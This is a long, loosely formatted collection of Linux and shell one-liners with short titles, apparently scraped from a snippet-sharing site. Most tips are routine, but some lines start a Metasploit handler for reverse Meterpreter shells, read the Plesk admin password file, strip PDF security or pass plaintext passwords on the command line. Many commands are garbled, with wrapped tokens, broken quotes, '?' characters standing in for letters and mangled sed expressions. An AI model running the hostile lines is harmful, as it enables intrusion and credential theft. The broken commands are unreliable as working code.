# Upload documents from linux to MS SHarepoint using curl
curl --ntlm -u <your Active-Directory-Domain>/<your-domain-username> -T /path/to
/local/$FILE http://sharepoint.url.com/doc/library/dir/

# Read all the S.M.A.R.T. data from a hard disk drive
smartctl --attributes /dev/sda

# Force file system check
touch /forcefsk

# Merge ( directories [looking for improvement]
(cd SRC; find . -type d -exec mkdir TARGET/{} ";" ; find . -type f -exec mv {} TA
RGET/{} ";")

# 60 second on screen timer for bash scripts
i=60;while [ $i -gt 0 ];do if [ $i -gt 9 ];then printf "\b\b$i";else printf "\b
\b $i";fi;sleep 1;i=`expr $i - 1`;done

# Go back to the previous directory.
cd -

# One liner gdb attach to Acrobat
(acroread &);sleep 2;gdb /opt/Adobe/Reader8/Reader/intellinux/bin/acroread `pidof
acroread`

# Calculator on the go
echo 2+3 |bc

# List your largest installed packages (on Debian/Ubuntu)
perl -ne '$pkg=$1 if m/^Package: (.*)/; print "$1\t$pkg\n" if m/^Installed-Size:
(.*)/;' < /var/lib/dpkg/status | sort -rn | less

# shows the full path of shell commands
type <command>

# revert a committed change in SVN
svn merge -c -REV

# Find PHP files
find . -name "*.php" -exec grep -i -H "search phrase" {} \;

# Handling oracle alter log file
awk '{if ($1~/Sun|Mon|Tue|Wed|Thu|Fri|Sat/) {DATE=$2" "$3" "$4" "$5 } else {pri
nt DATE|" "$0}}' alterorcl.log

# Displays All TCP and UDP Connections
sudo netstat|head -n2|tail -n1 && sudo netstat -a|grep udp && echo && sudo netst
at|head -n2|tail -n1 && sudo netstat -a|grep tcp

# find&grep all in once
#!/bin/bash find | grep -P -v "(class)|(zip)|(png)|(gz)|(gif)|(jpeg)|(jpg)" | xa
rgs -I @ grep -H $1 @

# Tar - Compress by excluding folders
tar -cvf /path/dir.tar /path/dir* --exclude "/path/dir/name" --exclude "/path/di

```

```

r/opt"

# Use ping to test if a server is up
if [ "$(ping -q -c1 google.com)" ];then wget -mnd -q http://www.google.com/intl/en_ALL/images/logo.gif ;fi

# Convert wma to wav
for i in *.wma; do mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader:file="${i%.wma}.wav" "$i" ; done

# Show seconds since modified of newest modified file in directory
echo $(( $( date +%s ) - $( stat -c %Y * | sort -nr | head -n 1 ) ))

# lsof - cleaned up for just open listening ports, the process, and the owner of the process
alias oports="echo -e "User:\tCommand:\tPort:\n-----" && lsof -i 4 -P -n | awk '/LISTEN/ {print $3, $1, $9}' | sed 's/ [a-z0-9\.\.]*:\/ \/' | sort -u -k 3 -n | xargs printf '%-10s %-10s %-10s\n'"

# Open multiple tabs in Firefox from a file containing urls
for /F %i in (url_list.txt) do Firefox.exe -new-tab "%i"

# Bulk install
apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y

# Watch the progress of 'dd'
dd if=/dev/urandom of=file.img bs=4KB& pid=$!; while [[ -d /proc/$pid ]]; do kill -USR1 $pid && sleep 1 && clear; done

# Store mp3 playlist on variable and play with mpg123
PLAYLIST=$(ls -l) ; mpg123 -C $PLAYLIST

# Get just the IP for a hostname
host foo.com|grep " has address "|cut -d" " -f4

# Get FreeMusicCharts
wget -O - "http://www.darkerradio.com/news/free-music-charts-$(date "+%B-%Y")/" 2> /dev/null | grep -o "http://[^ \"]*.mp3" |grep "freemusiccharts.songs" | sort | uniq | xargs -n1 wget -c

# Make a statistic about the lines of code
find . -type f -name '*.c' -exec wc -l {} \; | awk '{sum+=$1} END {print sum}'

# Static Yubikey 2.2 Password Using Programming Slot 1
ykpersonalize -l -ostatic-ticket -ostrong-pw1 -ostrong-pw2

# Traffic stat on ethernet interface
ethtool -S eth0

# Set default "New Page" as HTML in TextMate
defaults write com.macromates.textmate OakDefaultLanguage 17994EC8-6B1D-11D9-AC3A-000D93589AF6

# List your installed Firefox extensions
grep -hIr -m 1 :name ~/.mozilla/firefox/*.USER/extensions | tr '<>=' '""' | cut -f3 -d'"' | sort -u

# Quickly check a device in a LVM volume group against multipath

```

```

pvscan | awk '/name_of_vg/ {print $2}' | sed 's/[-|/|]/ /g' | cut -d " " -f7

# Get just the IP for a hostname
gethostip -d hostname

# List your installed Chromium extensions (with url to each page)
for i in $(find ~/.config/chromium/*/Extensions -name 'manifest.json'); do n=$(grep -hIr name $i | cut -f4 -d '"' | sort); u="https://chrome.google.com/extensions/detail/"; ue=$(basename $(dirname $(dirname $i))); echo -e "$n:\n$u$ue\n" ; done

# Change MySQL Pager For Nicer Output
In MySQL client, \P less -S

# test connection to a remote IP / port
nc -z <IP> <TCP port> OR nc -zu <IP> <UDP port>

# Setup Vim environment for USACO coding
alias viaco='task="$(basename "$(pwd)"); if [ -f "$task.c" ]; then vi -c "set mouse=n" -c "set autoread" -c "vsplit $task.out" -c "split $task.in" -c "wincmd l" -c "wincmd H" $task.c; fi'

# Generate a list of installed packages on Debian-based systems
aptitude search ~i -F %p

# extract links from a google results page saved as a file
gsed -e :a -e 's/\(<\[/[^\>]*>\)/\1\n/g;s/\(<br>\)/\1\n/g' page2.txt | sed -n '/<cite>/p;s/<cite>\(.*\)</cite>/\1/g' >> output

# Read the Useless Use of Cat Awards page
elinks http://partmaps.org/era/unix/award.html

# Color Highlighted Log Viewing with Tail, Fifo, and CCZE
F=~/$$.fifo;[ -p $F ] && rm $F;mkfifo $F;(( tail -n50 -s2 -f access_log error_log>$F )&);ccze -A < $F;rm $F

# Launch a Java .jar App
java -jar /path/to/filename.jar

# Replace the Caps Lock key with Control
setxkbmap -option ctrl:nocaps

# rows2columns
perl -le 'print join ", ", map { chomp; $_ } <>'

# Autofind alive hosts on subnet upon connect
dhclient wlan0 && sbnt=$(ifconfig wlan0 |grep "inet addr" |cut -d ":" -f 2 | cut -d "." -f 1-3) && nmap $sbnt.0/24 -sP

# List Seeon.tv Available Video Channels
lynx --dump http://www.seeon.tv/channels| grep "/channels"|awk '{print $2}'|sort -u|while read links; do lynx --dump "$links"|awk '/view/ {print $2}'|sort -u; done

# Current directory files and subdirectories ordered by size
du -ks * | sort -n

# Create a multi-part RAR archive
rar a -v[SIZE] [archivename] [files]

```

```

# Recursive Ownership Change
sudo chown -R user2:user2 ../../somedirectory

# Puts every word from a file into a new line
< <infile> tr ' \t' '\n' | tr -s '\n' > <outfile>

# Delete files and directories from current directory except those specified
rm -R `ls | egrep -v 'dir1|dir2|file1'`

# Retrieve Plesk Admin Password
cat /etc/psa/.psa.shadow

# encode/decode HTML entities
xml2asc < inputfile > outputfile

# create a motion jpeg (MJPEG) with the jpg file from current directory with men
coder
mencoder mf://image1.jpg,image2.jpg,image3.jpg -mf w=800:h=600:fps=25:type=jpeg
-ovc copy -oac copy -o output.avi

# Analyse a PHP file for instantiations and static calls
grep -o "\(\new \(\w+\)\)|\w+::\)" file.php | sed 's/new \|:://' | sort | uniq -
c | sort

# Dump HTTP header using lynx or w3m
lynx -dump -head http://www.example.com/

# Provide a list of all ELF binary objects (executable or libs) in a directory
file /usr/bin/* | grep ELF | cut -d":" -f1

# Capitalize the word with dd
echo capitalize | { dd bs=1 count=1 conv=ucase 2> /dev/null; cat ;}

# Find iPod's fwguid
lsusb -v | grep -o "[0-9A-Z]{16}"

# Send and streamming video to web
cat video.ogv | nc -l -p 4232 & wget http://users.bshellz.net/~bazza/?nombre=nam
e -O - & sleep 10; mplayer http://users.bshellz.net/~bazza/datos/name.ogv

# PlayTweets from the command line
vlc $(curl -s http://twitter.com/statuses/user_timeline/18855500.rss|grep play|s
ed -ne '/<title>/s/^\.*\(\http.*\)</title/\1/gp'|awk '{print $1}')

# Show display type
ioreg -lw0 | grep IODisplayEDID | sed "/[^\<]*</s///" | xxd -p -r | strings -6

# print statistics about users' connect time
ac -d | awk '{h=int($NF); m=($NF-h)*60; s=int((m-int(m))*60); m=int(m); print $0
" = "h"h "m"m "s"s "}'

# Gather libraries used and needed by a binary
for lib in `readelf -d /usr/bin/abiword | grep NEEDED | cut -f2 -d[ | cut -f1 -d
]`; do [ -e /usr/lib/$lib ] && j=/usr/lib/$lib || j=`locate -l 1 $lib`; readlink
-f $j ; done

# Can be used to pimp the finger output. :)
echo "World Domination" > ~/.plan; finger $USER;

# Count httpd processes

```

```

pgrep -c 'httpd|apache2'

# Check if commands are available on your system
for c in gcc bison dialog bc asdf; do if ! which $c >/dev/null; then echo Required program $c is missing ; exit 1; fi; done

# Find all python modules that use the math module
find . -name "*.py" -exec grep -n -H -E "^(import|from) math" {} \;

# Recreate all initrd files
for kern in $(grep "initrd " /boot/grub/grub.conf|grep -v ^#|cut -f 2- -d-|sed -e 's/\.img//g'); do mkinitrd -v -f /boot/initrd-$kern.img $kern; done

# Print free memory
free -m | awk '/Mem/ {print $4}'

# Identifying Xorg video driver in use
egrep -i " connected|card detect|primary dev" /var/log/Xorg.0.log

# Shows all virtual machines in Citrix XenServer
xe vm-list

# The program listening on port 8080 through IPv6
lsof -Pnl +M -i6 | grep 8080

# print a cpu of a process
ps -eo args,%cpu | grep -ml PROCESS | tr 'a-z-' ' ' | awk '{print $1}'

# Find the files that contain a certain term
find /path/to/dir -type f -exec grep \-H "search term" {} \;

# Copy a virtual machine on Citrix XenServer, optionally to a different storage repository
xe vm-copy vm="ABCServer" sr-uuid=24565487-accf-55ed-54da54993ade784a new-name-label="Copy of ABCServer" new-name-description="New Description"

# delete all leading whitespace from each line in file
sed 's/^[ \t]*//' < <file> > <file>.out; mv <file>.out <file>

# kills all php5-fcgi processes for user per name
pkill -9 -u username php5-fcgi

# recursive permission set for xampp apache user nobody
sudo chown -R nobody:admin /Applications/XAMPP/xamppfiles/htdocs/

# Sed file spacing
sed G

# Show current folder permission from /, useful for debugging ssh key permission
awk 'BEGIN{dir=DIR?DIR:ENVIRON["PWD"];l=split(dir,parts,"/");last="";for(i=1;i<l+1;i++){d=last"/"parts[i];gsub("//","/",d);system("ls -ld \""d"\");last=d}}'

# Get Memory Info
cat /proc/meminfo

# Import a virtual machine with XenServer
xe vm-import -h <host ip> -pw <yourpass> filename=./Ubuntu-9.1032bitPV.xva sr-uuid=<your SR UUID>

```

```
# change dir to n-th dir that you listed
cd $(ls -ltr|grep ^d|head -1|sed 's:.*\ ::g'|tail -1)

# Maven Install 3rd party JAR
mvn install:install-file -Dfile=<path-to-file> -DgroupId=<group-id> -DartifactId
=<artifact-id> -Dversion=<version> -Dpackaging=<packaging> -DgeneratePom=true

# Copy your SSH public key on a remote machine for passwordless login - the easy
way
$ssh-copy-id ptaduri@c3pusas1

# make directory
parallel -a <(seq 0 20) mkdir /tmp/dir1/{}

# Generate hash( of some types) from string
hashalot -s salt -x sha256 <<<"test"

# Stop your screen saver interrupting your mplayer sessions
alias mplayer='mplayer -stop-xscreensaver'

# Get just the IP for a hostname
host google.com|awk '{print $NF}'

# Start handler in metasploit to listen for reverse meterpreter connections
msfcli payload=windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 E

# Emptying a text file in one shot
ggdG

# Detect your computer's harddisk read speed without disk cache speed
cat /dev/sda | pv -r > /dev/null

# Recursively remove all '.java.orig' files (scalable)
find . -type f -iname '*.java.orig' -delete

# Removing accents in name files
IFS=?" ; for i in * ; do mv -v $i `echo $i|tr ?????????????????????\ aaeieiooAAAE
I000cC_` ; done

# Hunt for the newest file.
find . -printf "%T@ %p\n" | sed -e 1d | while read ts fn; do ts=${ts%.*}; if [ $
ts -ge ${gts:-0} ]; then gts=$ts; echo `date -d @$gts` $fn; fi; done

# Remove ^M characters at end of lines in vi
:%s/^V^M//g

# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | perl -ne 'print $1 if m/addr:(?:\d+\.){3}\d+/'

# change current directory permissions and only sub-directories recursively (not
files)
find . -type d -exec chmod XXXX {} \;

# Let's say you have a web site
for I in `find . -name "*.php"`; do sed -i "s/old name/new name/g" $I; done

# Display laptop battery information
cat /proc/acpi/battery/BAT1/info
```

```

# Fetch current song from last.fm
curl -s http://www.last.fm/user/$LASTFMUSER | grep -A 1 subjectCell | sed -e 's#<[^>]*>##g' | head -n2 | tail -n1 | sed 's/^[[:space:]]*//g'

# Clone all remote branches of a specific GitHub repository
git branch -a | grep "remotes/origin" | grep -v master | awk -F / '{print $3}' |
xargs -I % git clone -b % git://github.com/jamesotron/DevWorld-2010-Cocoa-Works
hop %

# Time redis ping in thousands of a second.
TIME=$( { time redis-cli PING; } 2>&1 ) ; echo $TIME | awk '{print $3}' | sed 's
/0m//; s/\././; s/s//; s/^0.[^1-9]*//g;'

# increment a bash variable
((x++))

# Uncompress a CSS file
cat somefile.css | awk '{gsub(/{|}|/, "&\n"); print}' >> uncompressed.css

# Monitor the Kernel Ring Buffer
watch 'dmesg | tail -15'

# find the device when you only know the mount point
df /media/mountpoint |egrep -o '^[a-z0-9]*'

# terminal based annoy-a-tron
while true; do sleep $((($RANDOM/1000)) && beep -f 2000 -l $((($RANDOM/100)) ; don
e

# futz.me - Send yourself notes from the command line
lynx "futz.me/xxx hey this is a test"

# Add a list of numbers
echo "1 2 3+p" | dc

# Restore the keyboard for qwerty users.
setxkbmap us

# Delete the \n character at the end of file
awk 'BEGIN { ARGV[ARGC++] = ARGV[ARGC-1] } NR != FNR { if(num==0) num=NR-1; if(FNR<n
um) {print} else { ORS="" ; print } } ' abc1.txt > abc2.txt

# turn off all services in specific runlevel
for i in $(chkconfig --list | grep "4:on" | awk {'print $1'}); do chkconfig --le
vel 4 "$i" off; done

# search package descriptions (apt)
apt-cache search someregex

# Watch mysql processlist on a remote host
watch -n 0.5 ssh [user]@[host] mysqladmin -u [mysql_user] -p[password] processli
st | tee -a /to/a/file

# password generator
genpass() { local h x y;h=${1:-8};x=( {a..z} {A..Z} {0..9} );y=$(echo ${x[@]} |
tr ' ' '\n' | shuf -n$h | xargs);echo -e "${y// /}"; }

# View the newest xkcd comic.
gwenview `wget -O - http://xkcd.com/ | grep 'png' | grep '+>//g;/^UV/q' | grep
-v '^$'

# get Hong Kong weather infomation from HK Observatory
wget -q -O - 'http://wap.weather.gov.hk/' | sed -r 's/<[^>+>//g;/^UV/q' | tail
-n4

# Mount a Windows share on the local network (Ubuntu) with user rights and use a
specific samba user
sudo mount -t cifs -o credentials=/path/to/credentials //hostname/sharename /moun
t/point

# Extract all 7zip files in current directory taking filename spaces into accoun
t
find -maxdepth 1 -type f -name "*.7z" -exec 7zr e '{} ' ';

# Get the available physical ports and their information
setserial -g /dev/ttyS[0-9]* | grep -v "unknown"

# External IP address
wget http://cmyip.com -qO - | grep -Ewo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' | uniq

# Succeed or fail randomly (Schr?dinger's code)
test $((RANDOM%2)) -eq 0

# remove all CVS directories
find . -type d -name 'CVS' -exec rm -r {} \;

# Bash Alias That Plays Music from SomaFM
alias somafm='read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl
http://somafm.com/startstream=${REPLY}.pls'

# Replace DOS character ^M with newline using perl inline replace.
perl -pi -e "s/\r/\n/g" <file>

# check broken links using wget as a spider
wget --spider -o wget.log -e robots=off --wait 1 -r -p http://www.example.com

# Count the lines of source code in directory, ignoring files in generated by sv
n
find . -name '*.java' -o -name '*.xml' | grep -v '\.svn' | xargs wc -l

```



```
# Uninstall all MacPorts that are no longer active
sudo port installed | grep -v 'active\|The' | xargs sudo port uninstall

# Display file descriptors in Squid
squidclient mgr:info | grep "file desc"

# creates a bash function to remove certain lines from SSH known_hosts file
function sshdel { perl -i -n -e "print unless (\$. == $1)" ~/.ssh/known_hosts; }

# Save and merge tcsh history across windows and sessions
Use history -S in your .logout file

# use perl instead of sed
echo "sed -e"|perl -pe 's/sed -e/perl -pe/'

# Join lines
cat file | tr -d "\n"

# Remove all the files except abc in the directory
rm *![teste0,teste1,teste2]

# find the device when you only know the mount point
grep -w /media/KINGSTON /proc/mounts | cut -d " " -f

# output one file per line
awk 'BEGIN{ORS=""}NR!=1&&FNR==1{print "\n"}{print}END{print "\n"}' *.txt

# plink ssh connect
plink lyu0@mysshserver -pw 123456

# Enable V4l2 Webcams
gst-launch v4l2src

# List files that DO NOT match a pattern
ls | grep -vi pattern

# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
find -maxdepth 1 -mtime 0 -type f

# Select MacOSX Network Location
scselect <location>

# Install a remote RPM
sudo rpm -if "http://rpm_server/rpm_repo/this-app.rpm"

# Rename all the files in the current directory into their shalsum
find . -maxdepth 1 -type f | xargs shalsum | sed 's/^\(\\w*\)\\s*\(.*\)/\2 \1/' | w
hile read LINE; do mv $LINE; done

# bored of listing files with ls wanna see them in file browser in gnome try thi
s
gnome-open .

# Call remote web service
curl -D - -X POST -H 'Content-type: text/xml' -d @XML http://remote_server:8080/
web-service/soap/WSName

# Find directories with lots of files in them
```

```

sudo find / -type f | perl -MFile::Basename -ne '$counts{dirname($_)}++; END { foreach $d (sort keys %counts) {printf("%d\t%s\n", $counts{$d}, $d);} }'|sort -rn | tee /tmp/sortedfilecount.out | head

# Place the argument of the most recent command on the shell
cd !$

# Restore accents in vi & others
LANG=fr_FR@euro

# Search git repo for specified string
git grep "search for something" $(git log -g --pretty=format:%h -S"search for something")

# Send an email using the mutt email client
M=bob@example.com; echo "Email message" | mutt -s "Email Subject" $M

# RTFM function
rtfm() { help $@ || man $@ || open "http://www.google.com/search?q=$@"; }

# Block an IP address
iptables -A INPUT -s 65.55.44.100 -j DROP

# Hunt for the newest file.
ls -trF | grep -v \/ | tail -n 1

# Quick alias for playing music.
alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi'

# Get your external IP address
curl ifconfig.me/all/xml

# strip id3 v1 and v2 tags from all mp3s in current dir and below
find . -type f -iname "*.mp3" -exec id3v2 --delete-all {} \;

# Convert filenames from ISO-8859-1 to UTF-8
LANG=fr_FR.iso8859-1 find . -name '*[\'$'\xe9'$'\xea'$'\xeb'$'\xc9\'']*'|while read f; do a="$(echo $f|iconv -f iso8859-1 -t ascii//TRANSLIT)"; echo "move $f => $a"; done

# Renaming jpg extension files at bunch
find . -name "*.jpg" | perl -ne'chomp; $name = $_; $quote = chr(39); s/[$quote\\!]/_/ ; print "mv \"$name\" \"$_\"\\n"'

# tail all logs opened by all java processes
sudo ls -l $(eval echo "/proc/{$(echo $(pgrep java)|sed 's/ /,/')}"/fd/)|grep log|sed 's/[^/]* //g'|xargs -r tail -f

# Dump your Thunderbird Lightning todo list in CSV format
sqlite3 -csv ~/.thunderbird/*.default/calendar-data/local.sqlite "SELECT CASE WHEN priority IS NULL THEN 5 ELSE priority END AS priority, title FROM cal_todos WHERE ical_status IS NULL ORDER BY priority ASC, last_modified DESC;"

# Burn an ISO on commandline with wodim instead cdrecord
wodim foo.iso

# Create a new chrome profile and run it
p=~/.config/chromium/zed; cp -r ~/.config/chromium/Default $p && echo "chromium-browser --user-data-dir=$p" && chromium-browser --user-data-dir=$p;

```

```

# To generate the list of dates using bash shell
now=`date +%Y/%m/%d` -d "04/02/2005" ; end=`date +%Y/%m/%d` -d "07/31/2005";
while [ "$now" != "$end" ] ; do now=`date +%Y/%m/%d` -d "$now + 1 day"; echo
"$now"; done

# truncate files without output redirection or temporary file creation
sed -i 's/^head -n 500 foo.log`//' foo.log

# Random integer number between FLOOR and RANGE
FLOOR=0; RANGE=10; number=0; while [ "$number" -le $FLOOR ]; do number=$RANDOM;
let "number %= $RANGE"; done; echo $number

# get ^DJI
getdji () { local url sedcmd; url='http://finance.yahoo.com/q?d=t&s=^DJI'; sedcmd='/
(DJI:.*),/Day.*!/d;s/^ */g;'; sedcmd="$sedcmd/Change:/s/Down / -;/Change:/s/Up
/ +/"; sedcmd="$sedcmd/Open:/s//& /"; lynx -dump "$url" | sed "$sedcmd"; }

# Renames all files in the current directory such that the new file contains no
space characters.
find ./ $1 -name "*" *" | while read a ; do mv "${a}" "${a//\ /_}"; done

# Shutdown all VMWare ESX VMs from commandline
for vm in `usr/bin/vmware-cmd -l`; do /usr/bin/vmware-cmd "${vm}" stop try
soft; done

# locate a command
which somecommand

# Send web page by e-mail
{ u="http://twitter.com/commandlinefu"; echo "Subject: $u"; echo "Mime-Version:
1.0"; echo -e "Content-Type: text/html; charset=utf-8\n\n"; curl $u ; } | sendma
il recipient@example.com

# Better PS aliases
export PSOA='user,pid,time,state,command' ; function _ps { /bin/ps $@ ; } ; alia
s psa='_ps ax -o $PSOA'

# Remove CR LF from a text file
flip -u $FILE

# show the log of a branch since its creation
svn log . --stop-on-copy

# Countdown Clock
function countdown { case "$1" in -s) shift;; *) set $(( $1 * 60 )); esac; local
S=" "; for i in $(seq "$1" -1 1); do echo -ne "$S\r $i\r"; sleep 1; don
e; echo -e "$S\rBOOM!"; }

# Get the absolute path of a file
realpath -s <filename>

# list files by testing the ownership
ls -la | awk '$3 == "oracle" || $3 == "root" {print $9}'

# Find files and list them sorted by modification time
find . -type f -exec ls -tr {} +

# find unmaintained ports that are installed on your system

```

```

cd /usr/ports; grep -F "`for o in `pkg_info -qao` ; \ do echo "|/usr/ports/${o
}|" ; done "`make -V INDEXFILE` | \ grep -i \|ports@freebsd.org\| | cut -f 2 -d
\|

# Go to begin of current command line
CTRL + a

# Day Date Time> Instead of $ or # at the terminal
export PS1='\D{%a %D %T}> '

# Remove security limitations from PDF documents using ghostscript (for Windows)
gswin32c -dSAFER -dBATC -dNOPAUSE -sDEVICE=pdfwrite -sFONTPATH=%windir%/fonts
;xfonts;. -sPDFPassword= -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -s
OutputFile=OUTPUT.pdf INPUT.pdf

# Go to next dir
cd -

# creates a xkcd #936-style password
RANGE=`wc -l /usr/share/dict/words | sed 's/^\([0-9]*\) .*$/\1/'`; for i in {1..
4}; do let "N = $RANDOM % $RANGE"; sed -n -e "${N}p" /usr/share/dict/words | tr
-d '\n'; done; RANGE=100; let "N = $RANDOM % $RANGE"; echo $N

# share single file in LAN via netcat
while ;; do cat file.txt | nc -l 80; done

# Cloning hard disks over the network:
Boot up destination machine with Knoppix live CD and run nc -l -p 9000 | dd of=/
dev/sda Then on the master dd if=/dev/sda | nc <dest-ip> 9000 You can monitor b
andwidth usage to see progress: nload eth0 -u M

# List files that DO NOT match a pattern
printf "%s\n" !(pattern) ## ksh, or bash with shopt -s extglob

# Generate an XKCD #936 style 4 word password
sort -R /usr/share/dict/british | grep -v -m4 ^{1,10}$ | tr [:upper:] [:lower:
] | tr "\n" " " | tr -d "'s" | xargs -0 echo

# bored of listing files with ls wanna see them in file browser in gnome try thi
s
xdg-open .

# create random string from /dev/urandom (or another length)
echo `cat /dev/urandom | base64 | tr -dc "[:alnum:]" | head -c64`

# Convert windows text file to linux text document
sed 's/.$//' Win-file.txt

# Show the system properties in a Sun VirtualBox server
VBoxManage list systemproperties

# What is my public IP-address?
wget --quiet -O - checkip.dyndns.org | sed -e 's/[^:]*: //' -e 's/<.*$//'

# Find most used focal lengths in a directory of photos
exiv2 *JPG | grep Focal | awk '{print $5}' | sort -n | uniq -c

# Expand shell variables in sed scripts
expanded_script=$(eval "echo \"$(cat ${sed_script_file})\"") && sed -e "${expand

```

```

ed_script}" your_input_file

# Tweet my ip ( see your machine ip on twitter )
STAT=`curl http://www.whatismyip.org/`; curl -u YourUserName:YourPassword -d sta
tus=$STAT http://twitter.com/statuses/update.xml

# Verify the virtual machine status
VBoxManage showvminfo "cicciobox" --details

# bash script to zip a folder while ignoring git files and copying it to dropbox
zip -r homard homard -x homard/.git\*; cp ./homard.zip /path_to_dropbox_public_f
older/homard.zip

# Get the size of all the directories in current directory (Sorted Human Readabl
e)
alias duh='du -sh */); for i in T G M K; do printf "$duhlist"|egrep "^[0
-9\.]+$i" | sort -rn; done'

# Generate MD5 of string and output only the hash checksum
echo -n "String to get MD5" | md5sum | sed "s/ -//"

# Mirror every lvol in vg00 in hp-ux 11.31
find /dev/vg00 -type b -exec lvextend -m 1 {} /dev/disk/<disk> \;

# List the supported OS in VirtualBox
VBoxManage list ostypes

# Start mplayer in the framebuffer
mplayer -vo fbdev $1 -fs -subcp ${2:-cp1251} -vf scale=${3:-1280:720}

# Watch end of files real time, especially log files
tail -f ~/.bash_history

# show current directory
gnome-open .

# How to create a vm in VirtualBox
VBoxManage createvm --name "vm-name" --ostype Ubuntu --register

# Remove blank lines from a file
sed -i.bak '/^[[[:space:]]*$/d' file_name

# Replaces every occurrences of 'old' for 'new' in all files specified
perl -i -pe "s/old/new/g" *

# FInd out what branches a specific commit belongs to
git branch --contains <commit sha1 id> | sed -e 's/^[ *]*/'

# Switch to windows using gpicker
wmctrl -i -a `wmctrl -l -x | gpicker -d "\n" -n "\n" - | awk '{print $1}'`

# List of syscalls (for 32/64 bits systems)
egrep '__NR_' /usr/include/asm/unistd_getconf -a | awk '$1~/^WORD/{print $2}'`.
h | sed -e 's/^#define __NR_//' | column -t

# List all users
cut -d: -f1 /etc/passwd | sort

# Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} +

```

```

# A file's rpm-package details
summpkg() { rpm -qfi "$@"; }

# retrieve GMT time from websites ( generally accurate )
w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}'

# Find the package a command belongs to on rpm-based distros
whichpkg() { rpm -qf "$@"; }

# while series of video and subtitles have unmatched file names, rename subtitle
# s the same as video files.
for jj in `seq -f "%02.0f" 1 12`; do rr=`ls *S04E$jj*.smi`; tt=`ls *S04E$jj*.avi`
`; mv "$rr" "${tt%.*}.smi"; done

# Get a text on a position on the file and store in a variable
TIMEUNIT=$(awk '/timescale/{print NR}' a)

# Match a URL
cho "(Something like http://foo.com/blah_blah)" | awk '{for(i=1;i<=NF;i++){if($i
~/^(http|ftp):\/\//)print $i}}'

# Write and run a quick C program
cat | gcc -x c -o a.out - && ./a.out && rm a.out

# Recursively remove .svn directories
find -type d -name ".svn" -print0 | xargs -0 rm -rf

# encode a text to url_encoded format
groovy -e 'println URLEncoder.encode("Some text")'

# list all file-types (case-insensitive extensions) including subdirectories
find /path/to/dir -type f |sed 's/^\.*\///'|grep -o '\.[^.]*$'|sort -f|uniq -i

# command to display info about the core specified
schedtool 1

# Create .tar file on Mac OS X Leopard / Snow Leopard without .* files
COPYFILE_DISABLE=true tar cvf newTarFile.tar Directory/

# Avoid using seq and pad numbers with leading zeros
for i in {001..999}; print $i

# Individually compress each file in a directory
ls | while read filename; do tar -czvf "$filename".tar.gz "$filename"; rm "$file
name"; done

# Random unsigned integer
curl -s "https://www.random.org/cgi-bin/randbyte?nbytes=4" | od -dAn

# Generate padded numbers 001 002 ... 100
echo 00{1..9} 0{10..99} 100

# List by size all of the directories in a given tree.
SEARCHPATH=/var/; find $SEARCHPATH -type d -print0 | xargs -0 du -s 2> /dev/null
| sort -nr | sed 's/^\.*'$SEARCHPATH'|'$SEARCHPATH'|' | xargs du -sh 2> /dev/nul
l

# Get your external IP address

```

```

html2text http://checkip.dyndns.org | grep -i 'Current IP Address: '|cut -c21-36

# speak a chat log file while it's running
tail -f LOGFILE | awk '{system("say \"" $0 "\"");}'

# create missing md5 for all files in directory
for f in $(ls | grep -v [.md5$]); do if [ -f $f ] && [ ! -f $f.md5 ]; then echo "missing md5 for '$f' will now create..."; md5sum $f > $f.md5; echo "created"; fi; done;

# Load multiple sql script in mysql
cat schema.sql data.sql test_data.sql | mysql -u user --password=pass dbname

# Find artist and title of a music cd, UPC code given (first result only)
wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \
/release/ foobar | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)</a></div>/\
1/' ; rm foobar

# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | awk '{print $1}'

# Sum size of files returned from FIND
(echo 0; find [args...] -printf '%s +\n'; echo p) | dc

# Root Security
s=/etc/ssh/sshd_config;r=PermitRootLogin;cp $s{,.old}&& if grep $r $s;then sed "
s/$r yes/$r no/" $s.old > $s; else echo $r no >> $s;fi

# Say the current time (Mac OS X)
date "+The time is %H:%M" | say

# Get column names in MySQL
mysql -u <user> --password=<password> -e "SHOW COLUMNS FROM <table>" <database>
| awk '{print $1}' | tr "\n" ", " | sed 's/,,$//g'

# find duplicate files in a directory and choose which one to delete
fdupes DIRECTORY/ -r -d

# restart Bluetooth from terminal
sudo service bluetooth restart

# Restart nautilus
nautilus -q

# Erase empty files
find . -size 0 -print0 | xargs -0 rm

# manually set system date/time
date MMDDhhmmYYYY

# Encrypted Tarballs
tar -cf - folder/ | gpg -c > folder.tpg

# Get your external IP address
fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}'

# Autodetect screens and extend workspace to the left
disper --displays=auto -e -t left

```

```

# Get your external IP address
wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g'

# Find out who change what files in a SVN repository
svn log -v | less

# Batch file suffix renaming
for i in *; do j=`echo $i | cut -d "-" -f1`; j=$j; mv $i $j; done

# backup file. (for bash)
cp -p file-you-want-backup{,_"`date +%Y%m%d`} # for bash

# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort | uniq -d | parallel find -type f
-size {}c | parallel md5sum | sort | uniq -w32 --all-repeated=separate

# Leap year calculation
year=2010; math=`echo "$year%4" | bc`; [ ! -z $year ] && [ $math -eq 0 ] && echo
"$year is leap year!" || echo "$year isn't leap year";

# Get the amount of currently registered users from i18n.counter.li.org.
wget -qO - http://i18n.counter.li.org/ | grep 'users registered' | sed 's/.*\<fo
nt size=7\>//g' | tr '\>' ' ' | sed 's/<br.*//g' | tr ' ' '\0'

# Command line calculator
alias calc='python -ic "from math import *; from random import *"'

# Show who are logging in and what their current commands
w

# easily find megabyte eating files or directories
du -kd | egrep -v "/.*/" | sort -n

# find the device when you only know the mount point
mount | grep "mount point"

